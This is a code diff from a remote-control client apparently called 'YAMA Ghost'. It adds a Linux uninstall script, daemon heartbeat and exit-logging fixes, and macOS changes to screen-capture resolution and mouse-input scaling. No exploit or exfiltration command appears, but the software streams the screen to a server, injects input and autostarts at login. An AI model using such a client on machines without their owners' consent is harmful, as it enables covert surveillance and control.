echo "${C_GREEN}${C_BOLD}✓ 安装完成${C_RESET}"
|
||||||
|
echo ""
|
||||||
|
echo "下次开机将自动启动;如需立即测试,重启或在桌面终端跑:"
|
||||||
|
echo " ${DEST_BIN}"
|
||||||
|
echo ""
|
||||||
|
echo "卸载请运行同目录的 ./uninstall.sh"
|
||||||
@@ -398,15 +398,18 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||||
uint64_t now = GetUnixMs();
|
uint64_t now = GetUnixMs();
|
||||||
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗
|
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗
|
||||||
double rtt_ms = (double)(now - ack->Time);
|
int64_t total_rtt_ms = (int64_t)now - (int64_t)ack->Time;
|
||||||
g_rttEstimator.update_from_sample(rtt_ms);
|
int64_t rtt_ms = total_rtt_ms;
|
||||||
|
if (ack->ProcessingMs > 0 && (int64_t)ack->ProcessingMs < total_rtt_ms)
|
||||||
|
rtt_ms = total_rtt_ms - (int64_t)ack->ProcessingMs;
|
||||||
|
g_rttEstimator.update_from_sample((double)rtt_ms);
|
||||||
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||||||
static time_t lastAckLog = 0;
|
static time_t lastAckLog = 0;
|
||||||
time_t now_s = time(nullptr);
|
time_t now_s = time(nullptr);
|
||||||
if (now_s - lastAckLog >= 60) {
|
if (now_s - lastAckLog >= 60) {
|
||||||
lastAckLog = now_s;
|
lastAckLog = now_s;
|
||||||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||||||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
user, (double)rtt_ms, g_rttEstimator.srtt * 1000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||||
@@ -786,8 +789,12 @@ static void daemonize()
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 信号处理:收到 SIGTERM/SIGINT 时优雅退出
|
// 信号处理:收到 SIGTERM/SIGINT 时优雅退出
|
||||||
|
// 注意:handler 内不能调 Mprintf(Logger 用 mutex/string/condvar,非 async-signal-safe),
|
||||||
|
// 只在这里记 sig_atomic_t 标志位,main 退出循环后再补一行日志。
|
||||||
|
static volatile sig_atomic_t g_lastSignal = 0;
|
||||||
static void signalHandler(int sig)
|
static void signalHandler(int sig)
|
||||||
{
|
{
|
||||||
|
g_lastSignal = sig;
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1060,6 +1067,14 @@ int main(int argc, char* argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 退出原因留痕:signal handler 不能直接打日志,在这里补一行。
|
||||||
|
if (g_lastSignal != 0) {
|
||||||
|
Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
|
||||||
|
(int)g_lastSignal, (int)g_bExit);
|
||||||
|
} else {
|
||||||
|
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
|
||||||
|
}
|
||||||
|
|
||||||
Logger::getInstance().stop();
|
Logger::getInstance().stop();
|
||||||
removePidFile();
|
removePidFile();
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
121
linux/uninstall.sh
Executable file
121
linux/uninstall.sh
Executable file
@@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# YAMA Ghost (Linux client) — uninstall
|
||||||
|
#
|
||||||
|
# 用法:
|
||||||
|
# ./uninstall.sh # 默认从 ~/.local/bin/ghost 卸载
|
||||||
|
# ./uninstall.sh /opt/yama # 从指定目录卸载
|
||||||
|
# ./uninstall.sh --yes # 跳过确认(自动化场景)
|
||||||
|
#
|
||||||
|
# 行为(幂等 — 重复运行不会报错):
|
||||||
|
# 1. 停止运行中的 ghost 进程
|
||||||
|
# 2. 删除 XDG Autostart 文件
|
||||||
|
# 3. 删除已安装的二进制
|
||||||
|
# 4. 询问是否清理用户配置(~/.config/ghost)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# ---- 颜色 ----
|
||||||
|
if [[ -t 1 ]]; then
|
||||||
|
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
|
||||||
|
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
|
||||||
|
else
|
||||||
|
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
|
||||||
|
fi
|
||||||
|
|
||||||
|
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
|
||||||
|
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
|
||||||
|
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
|
||||||
|
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
|
||||||
|
|
||||||
|
# ---- 参数解析 ----
|
||||||
|
ASSUME_YES=0
|
||||||
|
INSTALL_DIR="${HOME}/.local/bin"
|
||||||
|
for arg in "$@"; do
|
||||||
|
case "${arg}" in
|
||||||
|
--yes|-y) ASSUME_YES=1 ;;
|
||||||
|
--help|-h)
|
||||||
|
# 头部注释覆盖标题/用法/行为 4 步,对应源文件第 2-13 行
|
||||||
|
sed -n '2,13p' "$0" | sed 's/^# \?//'
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
*) INSTALL_DIR="${arg}" ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
DEST_BIN="${INSTALL_DIR}/ghost"
|
||||||
|
AUTOSTART_FILE="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart/ghost.desktop"
|
||||||
|
CONFIG_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/ghost"
|
||||||
|
|
||||||
|
confirm() {
|
||||||
|
[[ "${ASSUME_YES}" -eq 1 ]] && return 0
|
||||||
|
local prompt="$1"
|
||||||
|
local ans=""
|
||||||
|
echo -n "${prompt} [y/N] "
|
||||||
|
read -r ans || true # EOF on stdin: ans stays empty, 返回 no
|
||||||
|
[[ "${ans}" =~ ^[Yy]$ ]]
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "${C_BOLD}YAMA Ghost Linux 卸载${C_RESET}"
|
||||||
|
echo " 二进制: ${DEST_BIN}"
|
||||||
|
echo " 自启动: ${AUTOSTART_FILE}"
|
||||||
|
echo " 配置: ${CONFIG_DIR}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
if ! confirm "确认卸载?"; then
|
||||||
|
info "已取消"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 1. 停止进程 ----
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
info "停止运行中的 ghost 进程"
|
||||||
|
pkill -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
warn "进程未优雅退出,强制 kill"
|
||||||
|
pkill -9 -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
fi
|
||||||
|
ok "ghost 进程已停止"
|
||||||
|
else
|
||||||
|
info "没有运行中的 ghost 进程"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 2. 删除 Autostart 文件 ----
|
||||||
|
if [[ -f "${AUTOSTART_FILE}" ]]; then
|
||||||
|
rm -f "${AUTOSTART_FILE}"
|
||||||
|
ok "已删除 ${AUTOSTART_FILE}"
|
||||||
|
else
|
||||||
|
info "Autostart 文件不存在(已卸载或未安装过)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 3. 删除二进制 ----
|
||||||
|
if [[ -f "${DEST_BIN}" ]]; then
|
||||||
|
if [[ -w "${DEST_BIN}" ]] || [[ -w "$(dirname "${DEST_BIN}")" ]]; then
|
||||||
|
rm -f "${DEST_BIN}"
|
||||||
|
ok "已删除 ${DEST_BIN}"
|
||||||
|
else
|
||||||
|
info "需要 sudo 才能删除 ${DEST_BIN}"
|
||||||
|
sudo rm -f "${DEST_BIN}"
|
||||||
|
ok "已删除 ${DEST_BIN}"
|
||||||
|
fi
|
||||||
|
# 如果安装目录是 ~/.local/bin 且现在空了,不删除(可能用户还有其它东西)
|
||||||
|
else
|
||||||
|
info "二进制不存在(已卸载或不在 ${INSTALL_DIR})"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 4. 用户配置目录(询问,不主动删)----
|
||||||
|
if [[ -d "${CONFIG_DIR}" ]]; then
|
||||||
|
echo ""
|
||||||
|
warn "用户配置目录仍存在:${CONFIG_DIR}"
|
||||||
|
warn "其中可能包含 PID 文件、日志等。删除后无法恢复。"
|
||||||
|
if confirm " 一并删除配置目录?"; then
|
||||||
|
rm -rf "${CONFIG_DIR}"
|
||||||
|
ok "已删除 ${CONFIG_DIR}"
|
||||||
|
else
|
||||||
|
info "保留配置目录"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "${C_GREEN}${C_BOLD}✓ 卸载完成${C_RESET}"
|
||||||
@@ -217,9 +217,9 @@ void InputHandler::handleMouseWheel(int delta)
|
|||||||
{
|
{
|
||||||
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
|
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
|
||||||
// Using pixel units provides smoother scrolling than line units
|
// Using pixel units provides smoother scrolling than line units
|
||||||
// Windows: 120 = one standard notch
|
// Windows: 120 = one standard notch (~3 lines * 20px = ~60px)
|
||||||
// macOS: approximately 10 pixels per notch feels natural
|
// macOS: 40 pixels per notch matches Windows scroll feel
|
||||||
int32_t scrollAmount = (delta * 10) / 120;
|
int32_t scrollAmount = (delta * 40) / 120;
|
||||||
|
|
||||||
// Use pixel units for smoother scrolling experience
|
// Use pixel units for smoother scrolling experience
|
||||||
CGEventRef event = CGEventCreateScrollWheelEvent(
|
CGEventRef event = CGEventCreateScrollWheelEvent(
|
||||||
|
|||||||
@@ -110,6 +110,8 @@ private:
|
|||||||
// Screen info
|
// Screen info
|
||||||
int m_width; // Physical pixel width (sent to server)
|
int m_width; // Physical pixel width (sent to server)
|
||||||
int m_height; // Physical pixel height (sent to server)
|
int m_height; // Physical pixel height (sent to server)
|
||||||
|
int m_encodeWidth; // Encode/transmit width (capped by profile maxWidth)
|
||||||
|
int m_encodeHeight; // Encode/transmit height
|
||||||
int m_logicalWidth; // Logical point width (for CGEvent)
|
int m_logicalWidth; // Logical point width (for CGEvent)
|
||||||
int m_logicalHeight; // Logical point height (for CGEvent)
|
int m_logicalHeight; // Logical point height (for CGEvent)
|
||||||
double m_scaleFactor; // Retina scale factor (physical / logical)
|
double m_scaleFactor; // Retina scale factor (physical / logical)
|
||||||
@@ -127,6 +129,11 @@ private:
|
|||||||
std::atomic<int> m_maxFPS;
|
std::atomic<int> m_maxFPS;
|
||||||
int8_t m_qualityLevel;
|
int8_t m_qualityLevel;
|
||||||
|
|
||||||
|
// Pending resolution change (set by applyQualityLevel, consumed by captureLoop)
|
||||||
|
std::atomic<bool> m_dimensionsChanged{false};
|
||||||
|
std::atomic<int> m_pendingEncodeWidth{0};
|
||||||
|
std::atomic<int> m_pendingEncodeHeight{0};
|
||||||
|
|
||||||
// H264 encoder
|
// H264 encoder
|
||||||
std::unique_ptr<H264Encoder> m_h264Encoder;
|
std::unique_ptr<H264Encoder> m_h264Encoder;
|
||||||
int m_h264Bitrate;
|
int m_h264Bitrate;
|
||||||
|
|||||||
@@ -23,14 +23,16 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
|
|||||||
, m_running(false)
|
, m_running(false)
|
||||||
, m_width(0)
|
, m_width(0)
|
||||||
, m_height(0)
|
, m_height(0)
|
||||||
|
, m_encodeWidth(0)
|
||||||
|
, m_encodeHeight(0)
|
||||||
, m_logicalWidth(0)
|
, m_logicalWidth(0)
|
||||||
, m_logicalHeight(0)
|
, m_logicalHeight(0)
|
||||||
, m_scaleFactor(1.0)
|
, m_scaleFactor(1.0)
|
||||||
, m_displayID(CGMainDisplayID())
|
, m_displayID(CGMainDisplayID())
|
||||||
, m_algorithm(ALGORITHM_H264)
|
, m_algorithm(ALGORITHM_H264)
|
||||||
, m_maxFPS(15)
|
, m_maxFPS(GetQualityProfile(QUALITY_GOOD).maxFPS)
|
||||||
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
, m_qualityLevel(QUALITY_GOOD)
|
||||||
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
, m_h264Bitrate(GetQualityProfile(QUALITY_GOOD).bitRate * 1000)
|
||||||
, m_displayAssertionID(0)
|
, m_displayAssertionID(0)
|
||||||
, m_colorSpace(nullptr)
|
, m_colorSpace(nullptr)
|
||||||
, m_displayStream(nullptr)
|
, m_displayStream(nullptr)
|
||||||
@@ -110,14 +112,27 @@ bool ScreenHandler::init()
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Apply maxWidth constraint from quality profile (CGDisplayStream scales in HW)
|
||||||
|
{
|
||||||
|
int maxW = GetQualityProfile(m_qualityLevel).maxWidth;
|
||||||
|
if (maxW > 0 && m_width > maxW) {
|
||||||
|
m_encodeWidth = maxW & ~1;
|
||||||
|
m_encodeHeight = (int)round((double)m_height * m_encodeWidth / m_width) & ~1;
|
||||||
|
} else {
|
||||||
|
m_encodeWidth = m_width;
|
||||||
|
m_encodeHeight = m_height;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
NSLog(@"Encode dimensions: %dx%d (physical: %dx%d)", m_encodeWidth, m_encodeHeight, m_width, m_height);
|
||||||
|
|
||||||
// Initialize BITMAPINFOHEADER
|
// Initialize BITMAPINFOHEADER
|
||||||
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
|
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
|
||||||
m_bmpHeader.biWidth = m_width;
|
m_bmpHeader.biWidth = m_encodeWidth;
|
||||||
m_bmpHeader.biHeight = m_height;
|
m_bmpHeader.biHeight = m_encodeHeight;
|
||||||
m_bmpHeader.biPlanes = 1;
|
m_bmpHeader.biPlanes = 1;
|
||||||
m_bmpHeader.biBitCount = 32;
|
m_bmpHeader.biBitCount = 32;
|
||||||
m_bmpHeader.biCompression = 0; // BI_RGB
|
m_bmpHeader.biCompression = 0; // BI_RGB
|
||||||
m_bmpHeader.biSizeImage = m_width * m_height * 4;
|
m_bmpHeader.biSizeImage = m_encodeWidth * m_encodeHeight * 4;
|
||||||
|
|
||||||
// Allocate frame buffers
|
// Allocate frame buffers
|
||||||
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
|
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
|
||||||
@@ -212,8 +227,8 @@ bool ScreenHandler::initDisplayStream()
|
|||||||
__block ScreenHandler* handler = this;
|
__block ScreenHandler* handler = this;
|
||||||
m_displayStream = CGDisplayStreamCreateWithDispatchQueue(
|
m_displayStream = CGDisplayStreamCreateWithDispatchQueue(
|
||||||
m_displayID,
|
m_displayID,
|
||||||
m_width,
|
m_encodeWidth,
|
||||||
m_height,
|
m_encodeHeight,
|
||||||
'BGRA', // Pixel format
|
'BGRA', // Pixel format
|
||||||
properties,
|
properties,
|
||||||
m_streamQueue,
|
m_streamQueue,
|
||||||
@@ -254,7 +269,7 @@ bool ScreenHandler::initDisplayStream()
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_width, m_height, fps);
|
NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_encodeWidth, m_encodeHeight, fps);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -301,19 +316,19 @@ bool ScreenHandler::captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8
|
|||||||
size_t bytesPerRow = IOSurfaceGetBytesPerRow(surface);
|
size_t bytesPerRow = IOSurfaceGetBytesPerRow(surface);
|
||||||
void* baseAddr = IOSurfaceGetBaseAddress(surface);
|
void* baseAddr = IOSurfaceGetBaseAddress(surface);
|
||||||
|
|
||||||
if (!baseAddr || width != (size_t)m_width || height != (size_t)m_height) {
|
if (!baseAddr || width != (size_t)m_encodeWidth || height != (size_t)m_encodeHeight) {
|
||||||
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
|
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Ensure temp buffer is allocated
|
// Ensure temp buffer is allocated
|
||||||
size_t requiredSize = m_width * 4 * m_height;
|
size_t requiredSize = m_encodeWidth * 4 * m_encodeHeight;
|
||||||
if (m_tempBuffer.size() != requiredSize) {
|
if (m_tempBuffer.size() != requiredSize) {
|
||||||
m_tempBuffer.resize(requiredSize);
|
m_tempBuffer.resize(requiredSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy from IOSurface to temp buffer (handle different bytesPerRow)
|
// Copy from IOSurface to temp buffer (handle different bytesPerRow)
|
||||||
size_t dstBytesPerRow = m_width * 4;
|
size_t dstBytesPerRow = m_encodeWidth * 4;
|
||||||
if (bytesPerRow == dstBytesPerRow) {
|
if (bytesPerRow == dstBytesPerRow) {
|
||||||
memcpy(m_tempBuffer.data(), baseAddr, requiredSize);
|
memcpy(m_tempBuffer.data(), baseAddr, requiredSize);
|
||||||
} else {
|
} else {
|
||||||
@@ -454,19 +469,16 @@ void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
|
|||||||
MSG64_MAC msg;
|
MSG64_MAC msg;
|
||||||
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
|
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
|
||||||
|
|
||||||
// Convert physical pixel coordinates to logical point coordinates
|
// Convert encode-space coordinates to logical point coordinates.
|
||||||
// Server sends coordinates in physical pixels (matching our captured screen)
|
// Server sends coords in encode pixels (capped by maxWidth); CGEvent
|
||||||
// CGEvent expects logical points (for Retina displays, physical/scale)
|
// expects logical points. Ratio: logical = encode * (logicalW / encodeW).
|
||||||
if (m_scaleFactor > 1.0) {
|
if (m_encodeWidth > 0 && m_encodeWidth != m_logicalWidth) {
|
||||||
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
|
|
||||||
int x = (int)(msg.lParam & 0xFFFF);
|
int x = (int)(msg.lParam & 0xFFFF);
|
||||||
int y = (int)((msg.lParam >> 16) & 0xFFFF);
|
int y = (int)((msg.lParam >> 16) & 0xFFFF);
|
||||||
|
|
||||||
// Scale down to logical coordinates
|
x = (int)((double)x * m_logicalWidth / m_encodeWidth);
|
||||||
x = (int)(x / m_scaleFactor);
|
y = (int)((double)y * m_logicalHeight / m_encodeHeight);
|
||||||
y = (int)(y / m_scaleFactor);
|
|
||||||
|
|
||||||
// Update lParam with scaled coordinates
|
|
||||||
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
|
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
|
||||||
msg.pt_x = x;
|
msg.pt_x = x;
|
||||||
msg.pt_y = y;
|
msg.pt_y = y;
|
||||||
@@ -636,6 +648,27 @@ void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
|
|||||||
m_h264Bitrate = profile.bitRate * 1000; // kbps -> bps
|
m_h264Bitrate = profile.bitRate * 1000; // kbps -> bps
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Check if this quality level requires different encode dimensions (same logic as init).
|
||||||
|
// Signal captureLoop to rebuild the stream; it applies the change on its next iteration.
|
||||||
|
{
|
||||||
|
int maxW = profile.maxWidth;
|
||||||
|
int newEncW, newEncH;
|
||||||
|
if (maxW > 0 && m_width > maxW) {
|
||||||
|
newEncW = maxW & ~1;
|
||||||
|
newEncH = (int)round((double)m_height * newEncW / m_width) & ~1;
|
||||||
|
} else {
|
||||||
|
newEncW = m_width;
|
||||||
|
newEncH = m_height;
|
||||||
|
}
|
||||||
|
if (newEncW != m_encodeWidth || newEncH != m_encodeHeight) {
|
||||||
|
m_pendingEncodeWidth.store(newEncW);
|
||||||
|
m_pendingEncodeHeight.store(newEncH);
|
||||||
|
m_dimensionsChanged.store(true);
|
||||||
|
NSLog(@"Resolution change queued: %dx%d -> %dx%d",
|
||||||
|
m_encodeWidth, m_encodeHeight, newEncW, newEncH);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps",
|
NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps",
|
||||||
level,
|
level,
|
||||||
level == QUALITY_ULTRA ? "Ultra" :
|
level == QUALITY_ULTRA ? "Ultra" :
|
||||||
@@ -688,6 +721,12 @@ bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Legacy path captures at full physical resolution — cannot downscale for output buffer
|
||||||
|
if (m_encodeWidth != m_width || m_encodeHeight != m_height) {
|
||||||
|
CGImageRelease(image);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
size_t bytesPerRow = width * 4;
|
size_t bytesPerRow = width * 4;
|
||||||
size_t requiredSize = bytesPerRow * height;
|
size_t requiredSize = bytesPerRow * height;
|
||||||
if (m_tempBuffer.size() != requiredSize) {
|
if (m_tempBuffer.size() != requiredSize) {
|
||||||
@@ -801,12 +840,12 @@ void ScreenHandler::sendH264Frame(bool keyframe)
|
|||||||
m_h264Encoder = std::make_unique<H264Encoder>();
|
m_h264Encoder = std::make_unique<H264Encoder>();
|
||||||
int fps = m_maxFPS.load();
|
int fps = m_maxFPS.load();
|
||||||
if (fps <= 0) fps = 30;
|
if (fps <= 0) fps = 30;
|
||||||
if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) {
|
if (!m_h264Encoder->open(m_encodeWidth, m_encodeHeight, fps, m_h264Bitrate)) {
|
||||||
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
|
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
|
||||||
m_h264Encoder.reset();
|
m_h264Encoder.reset();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps);
|
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_encodeWidth, m_encodeHeight, fps);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Force keyframe if requested
|
// Force keyframe if requested
|
||||||
@@ -817,14 +856,14 @@ void ScreenHandler::sendH264Frame(bool keyframe)
|
|||||||
// Encode frame
|
// Encode frame
|
||||||
uint8_t* encodedData = nullptr;
|
uint8_t* encodedData = nullptr;
|
||||||
uint32_t encodedSize = 0;
|
uint32_t encodedSize = 0;
|
||||||
uint32_t stride = m_width * 4;
|
uint32_t stride = m_encodeWidth * 4;
|
||||||
|
|
||||||
int result = m_h264Encoder->encode(
|
int result = m_h264Encoder->encode(
|
||||||
m_currFrame.data(),
|
m_currFrame.data(),
|
||||||
32, // bpp
|
32, // bpp
|
||||||
stride,
|
stride,
|
||||||
m_width,
|
m_encodeWidth,
|
||||||
m_height,
|
m_encodeHeight,
|
||||||
&encodedData,
|
&encodedData,
|
||||||
&encodedSize,
|
&encodedSize,
|
||||||
false // Don't flip - keep bottom-up format like Windows client
|
false // Don't flip - keep bottom-up format like Windows client
|
||||||
@@ -956,6 +995,15 @@ uint64_t ScreenHandler::getTickMs()
|
|||||||
return (now * timebase.numer / timebase.denom) / 1000000;
|
return (now * timebase.numer / timebase.denom) / 1000000;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static uint64_t getTickUs()
|
||||||
|
{
|
||||||
|
static mach_timebase_info_data_t timebase = {0, 0};
|
||||||
|
if (timebase.denom == 0) {
|
||||||
|
mach_timebase_info(&timebase);
|
||||||
|
}
|
||||||
|
return (mach_absolute_time() * timebase.numer / timebase.denom) / 1000;
|
||||||
|
}
|
||||||
|
|
||||||
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
|
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
|
||||||
static CGPoint s_cachedLogicalPos = {0, 0};
|
static CGPoint s_cachedLogicalPos = {0, 0};
|
||||||
|
|
||||||
@@ -966,15 +1014,16 @@ void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y)
|
|||||||
s_cachedLogicalPos = CGEventGetLocation(event);
|
s_cachedLogicalPos = CGEventGetLocation(event);
|
||||||
CFRelease(event);
|
CFRelease(event);
|
||||||
|
|
||||||
// Convert to physical pixel coordinates (for Retina displays)
|
// Convert logical → encode pixel coordinates
|
||||||
x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor);
|
// (logical * encodeWidth/logicalWidth = encode pixel, generalises scaleFactor for downscaled streams)
|
||||||
y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor);
|
x = (int32_t)(s_cachedLogicalPos.x * m_encodeWidth / m_logicalWidth);
|
||||||
|
y = (int32_t)(s_cachedLogicalPos.y * m_encodeHeight / m_logicalHeight);
|
||||||
|
|
||||||
// Clamp to screen bounds
|
// Clamp to encode bounds
|
||||||
if (x < 0) x = 0;
|
if (x < 0) x = 0;
|
||||||
if (y < 0) y = 0;
|
if (y < 0) y = 0;
|
||||||
if (x >= m_width) x = m_width - 1;
|
if (x >= m_encodeWidth) x = m_encodeWidth - 1;
|
||||||
if (y >= m_height) y = m_height - 1;
|
if (y >= m_encodeHeight) y = m_encodeHeight - 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t ScreenHandler::getCursorTypeIndex()
|
uint8_t ScreenHandler::getCursorTypeIndex()
|
||||||
@@ -1073,7 +1122,8 @@ uint8_t ScreenHandler::getCursorTypeIndex()
|
|||||||
|
|
||||||
void ScreenHandler::captureLoop()
|
void ScreenHandler::captureLoop()
|
||||||
{
|
{
|
||||||
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)%s", m_width, m_height,
|
NSLog(@"ScreenHandler CaptureLoop started: encode=%dx%d physical=%dx%d%s",
|
||||||
|
m_encodeWidth, m_encodeHeight, m_width, m_height,
|
||||||
m_displayStream ? " [CGDisplayStream]" : " [Legacy]");
|
m_displayStream ? " [CGDisplayStream]" : " [Legacy]");
|
||||||
|
|
||||||
uint8_t currentAlgo = m_algorithm.load();
|
uint8_t currentAlgo = m_algorithm.load();
|
||||||
@@ -1085,18 +1135,70 @@ void ScreenHandler::captureLoop()
|
|||||||
usleep(50000); // 50ms, same as Windows client
|
usleep(50000); // 50ms, same as Windows client
|
||||||
|
|
||||||
while (m_running) {
|
while (m_running) {
|
||||||
uint64_t start = getTickMs();
|
// ── Dimension change (quality-level switch) ──────────────────────────────
|
||||||
|
// applyQualityLevel() signals this from the receive thread when maxWidth changes.
|
||||||
|
// We handle it here (captureLoop thread) so buffer/stream ops are thread-safe.
|
||||||
|
if (m_dimensionsChanged.exchange(false)) {
|
||||||
|
int newW = m_pendingEncodeWidth.load();
|
||||||
|
int newH = m_pendingEncodeHeight.load();
|
||||||
|
NSLog(@"Applying resolution change: %dx%d -> %dx%d",
|
||||||
|
m_encodeWidth, m_encodeHeight, newW, newH);
|
||||||
|
|
||||||
// Wait for new frame from display stream (push model)
|
if (m_h264Encoder) { m_h264Encoder->close(); m_h264Encoder.reset(); }
|
||||||
// This is key optimization: CPU sleeps when screen is static
|
|
||||||
if (m_displayStream) {
|
m_encodeWidth = newW;
|
||||||
|
m_encodeHeight = newH;
|
||||||
|
m_bmpHeader.biWidth = m_encodeWidth;
|
||||||
|
m_bmpHeader.biHeight = m_encodeHeight;
|
||||||
|
m_bmpHeader.biSizeImage = (uint32_t)(m_encodeWidth * m_encodeHeight * 4);
|
||||||
|
|
||||||
|
m_currFrame.assign(m_bmpHeader.biSizeImage, 0);
|
||||||
|
m_prevFrame.assign(m_bmpHeader.biSizeImage, 0);
|
||||||
|
m_diffBuffer.resize(1 + 1 + 8 + 1 + (size_t)m_bmpHeader.biSizeImage * 2);
|
||||||
|
m_tempBuffer.clear(); // reallocated on next capture
|
||||||
|
|
||||||
|
// Rebuild CGDisplayStream at new output size
|
||||||
|
cleanupDisplayStream();
|
||||||
|
if (!initDisplayStream()) {
|
||||||
|
NSLog(@"Warning: CGDisplayStream rebuild failed after resolution change");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait up to 500ms for first surface at new dimensions
|
||||||
|
{
|
||||||
|
std::unique_lock<std::mutex> lk(m_surfaceMutex);
|
||||||
|
m_hasNewFrame.store(false);
|
||||||
|
m_surfaceCond.wait_for(lk, std::chrono::milliseconds(500), [this] {
|
||||||
|
return m_hasNewFrame.load() || !m_running;
|
||||||
|
});
|
||||||
|
m_hasNewFrame.store(false);
|
||||||
|
}
|
||||||
|
if (!m_running) break;
|
||||||
|
|
||||||
|
// Tell server about new dimensions, then send a fresh first frame
|
||||||
|
sendBitmapInfo();
|
||||||
|
sendFirstScreen();
|
||||||
|
